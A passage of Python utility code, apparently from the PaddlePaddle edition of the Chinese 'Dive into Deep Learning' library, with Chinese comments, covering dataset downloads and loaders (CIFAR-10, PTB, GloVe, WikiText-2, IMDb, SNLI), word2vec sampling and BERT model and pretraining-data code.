num_workers=num_workers)\n    return train_iter, test_iter\n\n\"\"\"13.13\"\"\"\nd2l.DATA_HUB['cifar10_tiny'] = (d2l.DATA_URL + 'kaggle_cifar10_tiny.zip',\n                                '2068874e4b9a9f0fb07ebe0ad2b29754449ccacd')\n\ndef read_csv_labels(fname):\n    \"\"\"\u8bfb\u53d6fname\u6765\u7ed9\u6807\u7b7e\u5b57\u5178\u8fd4\u56de\u4e00\u4e2a\u6587\u4ef6\u540d\"\"\"\n    with open(fname, 'r') as f:\n        # \u8df3\u8fc7\u6587\u4ef6\u5934\u884c(\u5217\u540d)\n        lines = f.readlines()[1:]\n    tokens = [l.rstrip().split(',') for l in lines]\n    return dict(((name, label) for name, label in tokens))\n\ndef copyfile(filename, target_dir):\n    \"\"\"\u5c06\u6587\u4ef6\u590d\u5236\u5230\u76ee\u6807\u76ee\u5f55\"\"\"\n    os.makedirs(target_dir, exist_ok=True)\n    shutil.copy(filename, target_dir)\n\ndef reorg_train_valid(data_dir, labels, valid_ratio):\n    \"\"\"\u5c06\u9a8c\u8bc1\u96c6\u4ece\u539f\u59cb\u7684\u8bad\u7ec3\u96c6\u4e2d\u62c6\u5206\u51fa\u6765\"\"\"\n    # \u8bad\u7ec3\u6570\u636e\u96c6\u4e2d\u6837\u672c\u6700\u5c11\u7684\u7c7b\u522b\u4e2d\u7684\u6837\u672c\u6570\n    n = collections.Counter(labels.values()).most_common()[-1][1]\n    # \u9a8c\u8bc1\u96c6\u4e2d\u6bcf\u4e2a\u7c7b\u522b\u7684\u6837\u672c\u6570\n    n_valid_per_label = max(1, math.floor(n * valid_ratio))\n    label_count = {}\n    for train_file in os.listdir(os.path.join(data_dir, 'train')):\n        label = labels[train_file.split('.')[0]]\n        fname = os.path.join(data_dir, 'train', train_file)\n        copyfile(fname, os.path.join(data_dir, 'train_valid_test',\n                                     'train_valid', label))\n        if label not in label_count or label_count[label] < n_valid_per_label:\n            copyfile(fname, os.path.join(data_dir, 'train_valid_test',\n                                         'valid', label))\n            label_count[label] = label_count.get(label, 0) + 1\n        else:\n            copyfile(fname, os.path.join(data_dir, 'train_valid_test',\n                                         'train', label))\n    return n_valid_per_label\n\ndef reorg_test(data_dir):\n    \"\"\"\u5728\u9884\u6d4b\u671f\u95f4\u6574\u7406\u6d4b\u8bd5\u96c6\uff0c\u4ee5\u65b9\u4fbf\u8bfb\u53d6\"\"\"\n    for test_file in os.listdir(os.path.join(data_dir, 'test')):\n        copyfile(os.path.join(data_dir, 'test', test_file),\n                 os.path.join(data_dir, 'train_valid_test', 'test',\n                              'unknown'))\n\n\"\"\"13.14\"\"\"\nd2l.DATA_HUB['dog_tiny'] = (d2l.DATA_URL + 'kaggle_dog_tiny.zip',\n                            '0cb91d09b814ecdc07b50f31f8dcad3e81d6a86d')\n\n\"\"\"14.3\"\"\"\nd2l.DATA_HUB['ptb'] = (d2l.DATA_URL + 'ptb.zip',\n                       '319d85e578af0cdc590547f26231e4e31cdf1e42')\n\ndef read_ptb():\n    \"\"\"\u5c06PTB\u6570\u636e\u96c6\u52a0\u8f7d\u5230\u6587\u672c\u884c\u7684\u5217\u8868\u4e2d\"\"\"\n    data_dir = d2l.download_extract('ptb')\n    # Readthetrainingset.\n    with open(os.path.join(data_dir, 'ptb.train.txt')) as f:\n        raw_text = f.read()\n    return [line.split() for line in raw_text.split('\\n')]\n\ndef subsample(sentences, vocab):\n    \"\"\"\u4e0b\u91c7\u6837\u9ad8\u9891\u8bcd\"\"\"\n    # \u6392\u9664\u672a\u77e5\u8bcd\u5143'<unk>'\n    sentences = [[token for token in line if vocab[token] != vocab.unk]\n                 for line in sentences]\n    counter = d2l.count_corpus(sentences)\n    num_tokens = sum(counter.values())\n\n    # \u5982\u679c\u5728\u4e0b\u91c7\u6837\u671f\u95f4\u4fdd\u7559\u8bcd\u5143\uff0c\u5219\u8fd4\u56deTrue\n    def keep(token):\n        return(random.uniform(0, 1) <\n               math.sqrt(1e-4 / counter[token] * num_tokens))\n\n    return ([[token for token in line if keep(token)] for line in sentences],\n            counter)\n\ndef get_centers_and_contexts(corpus, max_window_size):\n    \"\"\"\u8fd4\u56de\u8df3\u5143\u6a21\u578b\u4e2d\u7684\u4e2d\u5fc3\u8bcd\u548c\u4e0a\u4e0b\u6587\u8bcd\"\"\"\n    centers, contexts = [], []\n    for line in corpus:\n        # \u8981\u5f62\u6210\u201c\u4e2d\u5fc3\u8bcd-\u4e0a\u4e0b\u6587\u8bcd\u201d\u5bf9\uff0c\u6bcf\u4e2a\u53e5\u5b50\u81f3\u5c11\u9700\u8981\u67092\u4e2a\u8bcd\n        if len(line) < 2:\n            continue\n        centers += line\n        for i in range(len(line)):  # \u4e0a\u4e0b\u6587\u7a97\u53e3\u4e2d\u95f4i\n            window_size = random.randint(1, max_window_size)\n            indices = list(range(max(0, i - window_size),\n                                 min(len(line), i + 1 + window_size)))\n            # \u4ece\u4e0a\u4e0b\u6587\u8bcd\u4e2d\u6392\u9664\u4e2d\u5fc3\u8bcd\n            indices.remove(i)\n            contexts.append([line[idx] for idx in indices])\n    return centers, contexts\n\nclass RandomGenerator:\n    \"\"\"\u6839\u636en\u4e2a\u91c7\u6837\u6743\u91cd\u5728{1,...,n}\u4e2d\u968f\u673a\u62bd\u53d6\"\"\"\n    def __init__(self, sampling_weights):\n        # Exclude\n        self.population = list(range(1, len(sampling_weights) + 1))\n        self.sampling_weights = sampling_weights\n        self.candidates = []\n        self.i = 0\n\n    def draw(self):\n        if self.i == len(self.candidates):\n            # \u7f13\u5b58k\u4e2a\u968f\u673a\u91c7\u6837\u7ed3\u679c\n            self.candidates = random.choices(\n                self.population, self.sampling_weights, k=10000)\n            self.i = 0\n        self.i += 1\n        return self.candidates[self.i - 1]\n\ndef get_negatives(all_contexts, vocab, counter, K):\n    \"\"\"\u8fd4\u56de\u8d1f\u91c7\u6837\u4e2d\u7684\u566a\u58f0\u8bcd\"\"\"\n    # \u7d22\u5f15\u4e3a1\u30012\u3001...\uff08\u7d22\u5f150\u662f\u8bcd\u8868\u4e2d\u6392\u9664\u7684\u672a\u77e5\u6807\u8bb0\uff09\n    sampling_weights = [counter[vocab.to_tokens(i)]**0.75\n                        for i in range(1, len(vocab))]\n    all_negatives, generator = [], RandomGenerator(sampling_weights)\n    for contexts in all_contexts:\n        negatives = []\n        while len(negatives) < len(contexts) * K:\n            neg = generator.draw()\n            # \u566a\u58f0\u8bcd\u4e0d\u80fd\u662f\u4e0a\u4e0b\u6587\u8bcd\n            if neg not in contexts:\n                negatives.append(neg)\n        all_negatives.append(negatives)\n    return all_negatives\n\ndef batchify(data):\n    \"\"\"\u8fd4\u56de\u5e26\u6709\u8d1f\u91c7\u6837\u7684\u8df3\u5143\u6a21\u578b\u7684\u5c0f\u6279\u91cf\u6837\u672c\"\"\"\n    max_len = max(len(c) + len(n) for _, c, n in data)\n    centers, contexts_negatives, masks, labels = [], [], [], []\n    for center, context, negative in data:\n        cur_len = len(context) + len(negative)\n        centers += [center]\n        contexts_negatives += \\\n            [context + negative + [0] * (max_len - cur_len)]\n        masks += [[1] * cur_len + [0] * (max_len - cur_len)]\n        labels += [[1] * len(context) + [0] * (max_len - len(context))]\n    return (paddle.to_tensor(centers).reshape((-1, 1)), paddle.to_tensor(\n        contexts_negatives), paddle.to_tensor(masks), paddle.to_tensor(labels))\n\ndef load_data_ptb(batch_size, max_window_size, num_noise_words):\n    \"\"\"\u4e0b\u8f7dPTB\u6570\u636e\u96c6\uff0c\u7136\u540e\u5c06\u5176\u52a0\u8f7d\u5230\u5185\u5b58\u4e2d\"\"\"\n    num_workers = d2l.get_dataloader_workers()\n    sentences = read_ptb()\n    vocab = d2l.Vocab(sentences, min_freq=10)\n    subsampled, counter = subsample(sentences, vocab)\n    corpus = [vocab[line] for line in subsampled]\n    all_centers, all_contexts = get_centers_and_contexts(\n        corpus, max_window_size)\n    all_negatives = get_negatives(\n        all_contexts, vocab, counter, num_noise_words)\n\n    class PTBDataset(paddle.io.Dataset):\n        def __init__(self, centers, contexts, negatives):\n            assert len(centers) == len(contexts) == len(negatives)\n            self.centers = centers\n            self.contexts = contexts\n            self.negatives = negatives\n\n        def __getitem__(self, index):\n            return (self.centers[index], self.contexts[index],\n                    self.negatives[index])\n\n        def __len__(self):\n            return len(self.centers)\n\n    dataset = PTBDataset(all_centers, all_contexts, all_negatives)\n\n    data_iter = paddle.io.DataLoader(\n        dataset, batch_size=batch_size, shuffle=True,\n        collate_fn=batchify, num_workers=num_workers)\n    return data_iter, vocab\n\ngenerator = RandomGenerator([2, 3, 4])\n[generator.draw() for _ in range(10)]\n\n\"\"\"14.7\"\"\"\nd2l.DATA_HUB['glove.6b.50d'] = (d2l.DATA_URL + 'glove.6B.50d.zip',\n                                '0b8703943ccdb6eb788e6f091b8946e82231bc4d')\n\nd2l.DATA_HUB['glove.6b.100d'] = (d2l.DATA_URL + 'glove.6B.100d.zip',\n                                 'cd43bfb07e44e6f27cbcc7bc9ae3d80284fdaf5a')\n\nd2l.DATA_HUB['glove.42b.300d'] = (d2l.DATA_URL + 'glove.42B.300d.zip',\n                                  'b5116e234e9eb9076672cfeabf5469f3eec904fa')\n\nd2l.DATA_HUB['wiki.en'] = (d2l.DATA_URL + 'wiki.en.zip',\n                           'c1816da3821ae9f43899be655002f6c723e91b88')\n\nclass TokenEmbedding:\n    \"\"\"GloVe\u5d4c\u5165\"\"\"\n    def __init__(self, embedding_name):\n        \"\"\"Defined in :numref:`sec_synonyms`\"\"\"\n        self.idx_to_token, self.idx_to_vec = self._load_embedding(\n            embedding_name)\n        self.unknown_idx = 0\n        self.token_to_idx = {token: idx for idx, token in\n                             enumerate(self.idx_to_token)}\n\n    def _load_embedding(self, embedding_name):\n        idx_to_token, idx_to_vec = ['<unk>'], []\n        data_dir = d2l.download_extract(embedding_name)\n        # GloVe\u7f51\u7ad9\uff1ahttps://nlp.stanford.edu/projects/glove/\n        # fastText\u7f51\u7ad9\uff1ahttps://fasttext.cc/\n        with open(os.path.join(data_dir, 'vec.txt'), 'r') as f:\n            for line in f:\n                elems = line.rstrip().split(' ')\n                token, elems = elems[0], [float(elem) for elem in elems[1:]]\n                # \u8df3\u8fc7\u6807\u9898\u4fe1\u606f\uff0c\u4f8b\u5982fastText\u4e2d\u7684\u9996\u884c\n                if len(elems) > 1:\n                    idx_to_token.append(token)\n                    idx_to_vec.append(elems)\n        idx_to_vec = [[0] * len(idx_to_vec[0])] + idx_to_vec\n        return idx_to_token, d2l.tensor(idx_to_vec)\n\n    def __getitem__(self, tokens):\n        indices = [self.token_to_idx.get(token, self.unknown_idx)\n                   for token in tokens]\n        vecs = self.idx_to_vec[d2l.tensor(indices)]\n        return vecs\n\n    def __len__(self):\n        return len(self.idx_to_token)\n\n\"\"\"14.8\"\"\"\ndef get_tokens_and_segments(tokens_a, tokens_b=None):\n    \"\"\"\u83b7\u53d6\u8f93\u5165\u5e8f\u5217\u7684\u8bcd\u5143\u53ca\u5176\u7247\u6bb5\u7d22\u5f15\"\"\"\n    tokens = ['<cls>'] + tokens_a + ['<sep>']\n    # 0\u548c1\u5206\u522b\u6807\u8bb0\u7247\u6bb5A\u548cB\n    segments = [0] * (len(tokens_a) + 2)\n    if tokens_b is not None:\n        tokens += tokens_b + ['<sep>']\n        segments += [1] * (len(tokens_b) + 1)\n    return tokens, segments\n\n#@save\nclass BERTEncoder(nn.Layer):\n    \"\"\"BERT\u7f16\u7801\u5668\"\"\"\n    def __init__(self, vocab_size, num_hiddens, norm_shape, ffn_num_input,\n                 ffn_num_hiddens, num_heads, num_layers, dropout,\n                 max_len=1000, key_size=768, query_size=768, value_size=768,\n                 **kwargs):\n        super(BERTEncoder, self).__init__(**kwargs)\n        self.token_embedding = nn.Embedding(vocab_size, num_hiddens)\n        self.segment_embedding = nn.Embedding(2, num_hiddens)\n        self.blks = nn.Sequential()\n        for i in range(num_layers):\n            self.blks.add_sublayer(f\"{i}\", d2l.EncoderBlock(\n                key_size, query_size, value_size, num_hiddens, norm_shape,\n                ffn_num_input, ffn_num_hiddens, num_heads, dropout, True))\n        # \u5728BERT\u4e2d\uff0c\u4f4d\u7f6e\u5d4c\u5165\u662f\u53ef\u5b66\u4e60\u7684\uff0c\u56e0\u6b64\u6211\u4eec\u521b\u5efa\u4e00\u4e2a\u8db3\u591f\u957f\u7684\u4f4d\u7f6e\u5d4c\u5165\u53c2\u6570\n        x = paddle.randn([1, max_len, num_hiddens])\n        self.pos_embedding = paddle.create_parameter(shape=x.shape, dtype=str(x.numpy().dtype),\n                                                      default_initializer=paddle.nn.initializer.Assign(x))\n\n    def forward(self, tokens, segments, valid_lens):\n        # \u5728\u4ee5\u4e0b\u4ee3\u7801\u6bb5\u4e2d\uff0cX\u7684\u5f62\u72b6\u4fdd\u6301\u4e0d\u53d8\uff1a\uff08\u6279\u91cf\u5927\u5c0f\uff0c\u6700\u5927\u5e8f\u5217\u957f\u5ea6\uff0cnum_hiddens\uff09\n        X = self.token_embedding(tokens) + self.segment_embedding(segments)\n        X = X + self.pos_embedding[:, :X.shape[1], :]\n        for blk in self.blks:\n            X = blk(X, valid_lens)\n        return X\n\n#@save\ndef paddletile(x, n) :\n    # \u5199\u4e00\u4e2a\u98de\u6868\u7684\u4ee3\u7801\uff0c\u590d\u73b0torch.repeat_interleave\u547d\u4ee4\u3002\u53ea\u9488\u5bf91D\u6570\u636e\u3002\n    x = x.reshape([-1, 1])\n    out = paddle.tile(x, repeat_times=n)\n    return out.reshape([-1])\n\n#@save\nclass MaskLM(nn.Layer):\n    \"\"\"BERT\u7684\u63a9\u853d\u8bed\u8a00\u6a21\u578b\u4efb\u52a1\"\"\"\n    def __init__(self, vocab_size, num_hiddens, num_inputs=768, **kwargs):\n        super(MaskLM, self).__init__(**kwargs)\n        self.mlp = nn.Sequential(nn.Linear(num_inputs, num_hiddens),\n                                 nn.ReLU(),\n                                 nn.LayerNorm(num_hiddens),\n                                 nn.Linear(num_hiddens, vocab_size))\n\n    def forward(self, X, pred_positions):\n        num_pred_positions = pred_positions.shape[1]\n        pred_positions = pred_positions.reshape([-1])\n        batch_size = X.shape[0]\n        batch_idx = paddle.arange(0, batch_size) # torch.arange()\n        # \u5047\u8bbebatch_size=2\uff0cnum_pred_positions=3\n        # \u90a3\u4e48batch_idx\u662fnp.array\uff08[0,0,0,1,1]\uff09\n        batch_idx = paddletile(batch_idx, [num_pred_positions])\n        masked_X = X[batch_idx, pred_positions]\n        masked_X = masked_X.reshape((batch_size, num_pred_positions, -1))\n        mlm_Y_hat = self.mlp(masked_X)\n        return mlm_Y_hat\n\n\n#@save\nclass NextSentencePred(nn.Layer):\n    \"\"\"BERT\u7684\u4e0b\u4e00\u53e5\u9884\u6d4b\u4efb\u52a1\"\"\"\n    def __init__(self, num_inputs, **kwargs):\n        super(NextSentencePred, self).__init__(**kwargs)\n        self.output = nn.Linear(num_inputs, 2)\n\n    def forward(self, X):\n        # X\u7684\u5f62\u72b6\uff1a(batchsize,num_hiddens)\n        return self.output(X)\n\n#@save\nclass BERTModel(nn.Layer):\n    \"\"\"BERT\u6a21\u578b\"\"\"\n    def __init__(self, vocab_size, num_hiddens, norm_shape, ffn_num_input,\n                 ffn_num_hiddens, num_heads, num_layers, dropout,\n                 max_len=1000, key_size=768, query_size=768, value_size=768,\n                 hid_in_features=768, mlm_in_features=768,\n                 nsp_in_features=768):\n        super(BERTModel, self).__init__()\n        self.encoder = BERTEncoder(vocab_size, num_hiddens, norm_shape,\n                    ffn_num_input, ffn_num_hiddens, num_heads, num_layers,\n                    dropout, max_len=max_len, key_size=key_size,\n                    query_size=query_size, value_size=value_size)\n        self.hidden = nn.Sequential(nn.Linear(hid_in_features, num_hiddens),\n                                    nn.Tanh())\n        self.mlm = MaskLM(vocab_size, num_hiddens, mlm_in_features)\n        self.nsp = NextSentencePred(nsp_in_features)\n\n    def forward(self, tokens, segments, valid_lens=None,\n                pred_positions=None):\n        encoded_X = self.encoder(tokens, segments, valid_lens)\n        if pred_positions is not None:\n            mlm_Y_hat = self.mlm(encoded_X, pred_positions)\n        else:\n            mlm_Y_hat = None\n        # \u7528\u4e8e\u4e0b\u4e00\u53e5\u9884\u6d4b\u7684\u591a\u5c42\u611f\u77e5\u673a\u5206\u7c7b\u5668\u7684\u9690\u85cf\u5c42\uff0c0\u662f\u201c<cls>\u201d\u6807\u8bb0\u7684\u7d22\u5f15\n        nsp_Y_hat = self.nsp(self.hidden(encoded_X[:, 0, :]))\n        return encoded_X, mlm_Y_hat, nsp_Y_hat\n\n\"\"\"14.9\"\"\"\n#@save\nd2l.DATA_HUB['wikitext-2'] = (\n    'https://s3.amazonaws.com/research.metamind.io/wikitext/'\n    'wikitext-2-v1.zip', '3c914d17d80b1459be871a5039ac23e752a53cbe')\n\n#@save\ndef _read_wiki(data_dir):\n    file_name = os.path.join(data_dir, 'wiki.train.tokens')\n    with open(file_name, 'r') as f:\n        lines = f.readlines()\n    # \u5927\u5199\u5b57\u6bcd\u8f6c\u6362\u4e3a\u5c0f\u5199\u5b57\u6bcd\n    paragraphs = [line.strip().lower().split(' . ')\n                  for line in lines if len(line.split(' . ')) >= 2]\n    random.shuffle(paragraphs)\n    return paragraphs\n\n#@save\ndef _get_next_sentence(sentence, next_sentence, paragraphs):\n    if random.random() < 0.5:\n        is_next = True\n    else:\n        # paragraphs\u662f\u4e09\u91cd\u5217\u8868\u7684\u5d4c\u5957\n        next_sentence = random.choice(random.choice(paragraphs))\n        is_next = False\n    return sentence, next_sentence, is_next\n\n#@save\ndef _get_nsp_data_from_paragraph(paragraph, paragraphs, vocab, max_len):\n    nsp_data_from_paragraph = []\n    for i in range(len(paragraph) - 1):\n        tokens_a, tokens_b, is_next = _get_next_sentence(\n            paragraph[i], paragraph[i + 1], paragraphs)\n        # \u8003\u86511\u4e2a'<cls>'\u8bcd\u5143\u548c2\u4e2a'<sep>'\u8bcd\u5143\n        if len(tokens_a) + len(tokens_b) + 3 > max_len:\n            continue\n        tokens, segments = d2l.get_tokens_and_segments(tokens_a, tokens_b)\n        nsp_data_from_paragraph.append((tokens, segments, is_next))\n    return nsp_data_from_paragraph\n\n#@save\ndef _replace_mlm_tokens(tokens, candidate_pred_positions, num_mlm_preds,\n                        vocab):\n    # \u4e3a\u906e\u853d\u8bed\u8a00\u6a21\u578b\u7684\u8f93\u5165\u521b\u5efa\u65b0\u7684\u8bcd\u5143\u526f\u672c\uff0c\u5176\u4e2d\u8f93\u5165\u53ef\u80fd\u5305\u542b\u66ff\u6362\u7684\u201c<mask>\u201d\u6216\u968f\u673a\u8bcd\u5143\n    mlm_input_tokens = [token for token in tokens]\n    pred_positions_and_labels = []\n    # \u6253\u4e71\u540e\u7528\u4e8e\u5728\u906e\u853d\u8bed\u8a00\u6a21\u578b\u4efb\u52a1\u4e2d\u83b7\u53d615%\u7684\u968f\u673a\u8bcd\u5143\u8fdb\u884c\u9884\u6d4b\n    random.shuffle(candidate_pred_positions)\n    for mlm_pred_position in candidate_pred_positions:\n        if len(pred_positions_and_labels) >= num_mlm_preds:\n            break\n        masked_token = None\n        # 80%\u7684\u65f6\u95f4\uff1a\u5c06\u8bcd\u66ff\u6362\u4e3a\u201c<mask>\u201d\u8bcd\u5143\n        if random.random() < 0.8:\n            masked_token = '<mask>'\n        else:\n            # 10%\u7684\u65f6\u95f4\uff1a\u4fdd\u6301\u8bcd\u4e0d\u53d8\n            if random.random() < 0.5:\n                masked_token = tokens[mlm_pred_position]\n            # 10%\u7684\u65f6\u95f4\uff1a\u7528\u968f\u673a\u8bcd\u66ff\u6362\u8be5\u8bcd\n            else:\n                masked_token = random.choice(vocab.idx_to_token)\n        mlm_input_tokens[mlm_pred_position] = masked_token\n        pred_positions_and_labels.append(\n            (mlm_pred_position, tokens[mlm_pred_position]))\n    return mlm_input_tokens, pred_positions_and_labels\n\n#@save\ndef _get_mlm_data_from_tokens(tokens, vocab):\n    candidate_pred_positions = []\n    # tokens\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\u5217\u8868\n    for i, token in enumerate(tokens):\n        # \u5728\u906e\u853d\u8bed\u8a00\u6a21\u578b\u4efb\u52a1\u4e2d\u4e0d\u4f1a\u9884\u6d4b\u7279\u6b8a\u8bcd\u5143\n        if token in ['<cls>', '<sep>']:\n            continue\n        candidate_pred_positions.append(i)\n    # \u906e\u853d\u8bed\u8a00\u6a21\u578b\u4efb\u52a1\u4e2d\u9884\u6d4b15%\u7684\u968f\u673a\u8bcd\u5143\n    num_mlm_preds = max(1, round(len(tokens) * 0.15))\n    mlm_input_tokens, pred_positions_and_labels = _replace_mlm_tokens(\n        tokens, candidate_pred_positions, num_mlm_preds, vocab)\n    pred_positions_and_labels = sorted(pred_positions_and_labels,\n                                       key=lambda x: x[0])\n    pred_positions = [v[0] for v in pred_positions_and_labels]\n    mlm_pred_labels = [v[1] for v in pred_positions_and_labels]\n    return vocab[mlm_input_tokens], pred_positions, vocab[mlm_pred_labels]\n\n#@save\ndef _pad_bert_inputs(examples, max_len, vocab):\n    max_num_mlm_preds = round(max_len * 0.15)\n    all_token_ids, all_segments, valid_lens,  = [], [], []\n    all_pred_positions, all_mlm_weights, all_mlm_labels = [], [], []\n    nsp_labels = []\n    for (token_ids, pred_positions, mlm_pred_label_ids, segments,\n         is_next) in examples:\n        all_token_ids.append(paddle.to_tensor(token_ids + [vocab['<pad>']] * (\n            max_len - len(token_ids)), dtype=paddle.int64))\n        all_segments.append(paddle.to_tensor(segments + [0] * (\n            max_len - len(segments)), dtype=paddle.int64))\n        # valid_lens\u4e0d\u5305\u62ec'<pad>'\u7684\u8ba1\u6570\n        valid_lens.append(paddle.to_tensor(len(token_ids), dtype=paddle.float32))\n        all_pred_positions.append(paddle.to_tensor(pred_positions + [0] * (\n            max_num_mlm_preds - len(pred_positions)), dtype=paddle.int64))\n        # \u586b\u5145\u8bcd\u5143\u7684\u9884\u6d4b\u5c06\u901a\u8fc7\u4e58\u4ee50\u6743\u91cd\u5728\u635f\u5931\u4e2d\u8fc7\u6ee4\u6389\n        all_mlm_weights.append(\n            paddle.to_tensor([1.0] * len(mlm_pred_label_ids) + [0.0] * (\n                max_num_mlm_preds - len(pred_positions)),\n                dtype=paddle.float32))\n        all_mlm_labels.append(paddle.to_tensor(mlm_pred_label_ids + [0] * (\n            max_num_mlm_preds - len(mlm_pred_label_ids)), dtype=paddle.int64))\n        nsp_labels.append(paddle.to_tensor(is_next, dtype=paddle.int64))\n    return (all_token_ids, all_segments, valid_lens, all_pred_positions,\n            all_mlm_weights, all_mlm_labels, nsp_labels)\n\n#@save\nclass _WikiTextDataset(paddle.io.Dataset):\n    def __init__(self, paragraphs, max_len):\n        # \u8f93\u5165paragraphs[i]\u662f\u4ee3\u8868\u6bb5\u843d\u7684\u53e5\u5b50\u5b57\u7b26\u4e32\u5217\u8868\uff1b\n        # \u800c\u8f93\u51faparagraphs[i]\u662f\u4ee3\u8868\u6bb5\u843d\u7684\u53e5\u5b50\u5217\u8868\uff0c\u5176\u4e2d\u6bcf\u4e2a\u53e5\u5b50\u90fd\u662f\u8bcd\u5143\u5217\u8868\n        paragraphs = [d2l.tokenize(\n            paragraph, token='word') for paragraph in paragraphs]\n        sentences = [sentence for paragraph in paragraphs\n                     for sentence in paragraph]\n        self.vocab = d2l.Vocab(sentences, min_freq=5, reserved_tokens=[\n            '<pad>', '<mask>', '<cls>', '<sep>'])\n        # \u83b7\u53d6\u4e0b\u4e00\u53e5\u5b50\u9884\u6d4b\u4efb\u52a1\u7684\u6570\u636e\n        examples = []\n        for paragraph in paragraphs:\n            examples.extend(_get_nsp_data_from_paragraph(\n                paragraph, paragraphs, self.vocab, max_len))\n        # \u83b7\u53d6\u906e\u853d\u8bed\u8a00\u6a21\u578b\u4efb\u52a1\u7684\u6570\u636e\n        examples = [(_get_mlm_data_from_tokens(tokens, self.vocab)\n                      + (segments, is_next))\n                     for tokens, segments, is_next in examples]\n        # \u586b\u5145\u8f93\u5165\n        (self.all_token_ids, self.all_segments, self.valid_lens,\n         self.all_pred_positions, self.all_mlm_weights,\n         self.all_mlm_labels, self.nsp_labels) = _pad_bert_inputs(\n            examples, max_len, self.vocab)\n\n    def __getitem__(self, idx):\n        return (self.all_token_ids[idx], self.all_segments[idx],\n                self.valid_lens[idx], self.all_pred_positions[idx],\n                self.all_mlm_weights[idx], self.all_mlm_labels[idx],\n                self.nsp_labels[idx])\n\n    def __len__(self):\n        return len(self.all_token_ids)\n\n#@save\ndef load_data_wiki(batch_size, max_len):\n    \"\"\"\u52a0\u8f7dWikiText-2\u6570\u636e\u96c6\"\"\"\n    num_workers = d2l.get_dataloader_workers()\n    num_workers = 0\n    data_dir = d2l.download_extract('wikitext-2', 'wikitext-2')\n    paragraphs = _read_wiki(data_dir)\n    train_set = _WikiTextDataset(paragraphs, max_len)\n    train_iter = paddle.io.DataLoader(dataset=train_set, batch_size=batch_size,\n                                       shuffle=True, num_workers=num_workers)\n    return train_iter, train_set.vocab\n\n'''14.10'''\n#@save\ndef _get_batch_loss_bert(net, loss, vocab_size, tokens_X,\n                         segments_X, valid_lens_x,\n                         pred_positions_X, mlm_weights_X,\n                         mlm_Y, nsp_y):\n    # \u524d\u5411\u4f20\u64ad\n    _, mlm_Y_hat, nsp_Y_hat = net(tokens_X, segments_X,\n                                  valid_lens_x.reshape([-1]),  # reshape \u540e\u9762\u8981\u8ddf\u5217\u8868\u6216\u5143\u7ec4\n                                  pred_positions_X)\n    # \u8ba1\u7b97\u906e\u853d\u8bed\u8a00\u6a21\u578b\u635f\u5931\n    mlm_l = loss(mlm_Y_hat.reshape([-1, vocab_size]), mlm_Y.reshape([-1])) *\\\n    mlm_weights_X.reshape([-1, 1])\n    mlm_l = mlm_l.sum() / (mlm_weights_X.sum() + 1e-8)\n    # \u8ba1\u7b97\u4e0b\u4e00\u53e5\u5b50\u9884\u6d4b\u4efb\u52a1\u7684\u635f\u5931\n    nsp_l = loss(nsp_Y_hat, nsp_y)\n    l = mlm_l + nsp_l\n    return mlm_l, nsp_l, l\n\n\"\"\"15.1\"\"\"\nd2l.DATA_HUB['aclImdb'] = (\n    'http://ai.stanford.edu/~amaas/data/sentiment/aclImdb_v1.tar.gz',\n    '01ada507287d82875905620988597833ad4e0903')\n\ndef read_imdb(data_dir, is_train):\n    \"\"\"\u8bfb\u53d6IMDb\u8bc4\u8bba\u6570\u636e\u96c6\u6587\u672c\u5e8f\u5217\u548c\u6807\u7b7e\"\"\"\n    data, labels = [], []\n    for label in ('pos', 'neg'):\n        folder_name = os.path.join(data_dir, 'train' if is_train else 'test',\n                                   label)\n        for file in os.listdir(folder_name):\n            with open(os.path.join(folder_name, file), 'rb') as f:\n                review = f.read().decode('utf-8').replace('\\n', '')\n                data.append(review)\n                labels.append(1 if label == 'pos' else 0)\n    return data, labels\n\ndef load_data_imdb(batch_size, num_steps=500):\n    \"\"\"\u8fd4\u56de\u6570\u636e\u8fed\u4ee3\u5668\u548cIMDb\u8bc4\u8bba\u6570\u636e\u96c6\u7684\u8bcd\u8868\"\"\"\n    data_dir = d2l.download_extract('aclImdb', 'aclImdb')\n    train_data = read_imdb(data_dir, True)\n    test_data = read_imdb(data_dir, False)\n    train_tokens = d2l.tokenize(train_data[0], token='word')\n    test_tokens = d2l.tokenize(test_data[0], token='word')\n    vocab = d2l.Vocab(train_tokens, min_freq=5)\n    train_features = d2l.tensor([d2l.truncate_pad(\n        vocab[line], num_steps, vocab['<pad>']) for line in train_tokens])\n    test_features = d2l.tensor([d2l.truncate_pad(\n        vocab[line], num_steps, vocab['<pad>']) for line in test_tokens])\n    train_iter = d2l.load_array((train_features, d2l.tensor(train_data[1])),\n                                batch_size)\n    test_iter = d2l.load_array((test_features, d2l.tensor(test_data[1])),\n                               batch_size,\n                               is_train=False)\n    return train_iter, test_iter, vocab\n\n\"\"\"15.2\"\"\"\ndef predict_sentiment(net, vocab, sequence):\n    \"\"\"\u9884\u6d4b\u6587\u672c\u5e8f\u5217\u7684\u60c5\u611f\"\"\"\n    sequence = paddle.to_tensor(vocab[sequence.split()], place=d2l.try_gpu())\n    label = paddle.argmax(net(sequence.reshape((1, -1))), axis=1)\n    return 'positive' if label == 1 else 'negative'\n\n\"\"\"15.4\"\"\"\nd2l.DATA_HUB['SNLI'] = (\n    'https://nlp.stanford.edu/projects/snli/snli_1.0.zip',\n    '9fcde07509c7e87ec61c640c1b2753d9041758e4')\n\ndef read_snli(data_dir, is_train):\n    \"\"\"\u5c06SNLI\u6570\u636e\u96c6\u89e3\u6790\u4e3a\u524d\u63d0\u3001\u5047\u8bbe\u548c\u6807\u7b7e\"\"\"\n    def extract_text(s):\n        # \u5220\u9664\u6211\u4eec\u4e0d\u4f1a\u4f7f\u7528\u7684\u4fe1\u606f\n        s = re.sub('\\\\(', '', s)\n        s = re.sub('\\\\)', '', s)\n        # \u7528\u4e00\u4e2a\u7a7a\u683c\u66ff\u6362\u4e24\u4e2a\u6216\u591a\u4e2a\u8fde\u7eed\u7684\u7a7a\u683c\n        s = re.sub('\\\\s{2,}', ' ', s)\n        return s.strip()\n    label_set = {'entailment': 0, 'contradiction': 1, 'neutral': 2}\n    file_name = os.path.join(data_dir, 'snli_1.0_train.txt'\n                             if is_train else 'snli_1.0_test.txt')\n    with open(file_name, 'r') as f:\n        rows = [row.split('\\t') for row in f.readlines()[1:]]\n    premises = [extract_text(row[1]) for row in rows if row[0] in label_set]\n    hypotheses = [extract_text(row[2]) for row in rows if row[0] \\\n                in label_set]\n    labels = [label_set[row[0]] for row in rows if row[0] in label_set]\n    return premises, hypotheses, labels\n\n\nclass SNLIDataset(paddle.io.Dataset):\n    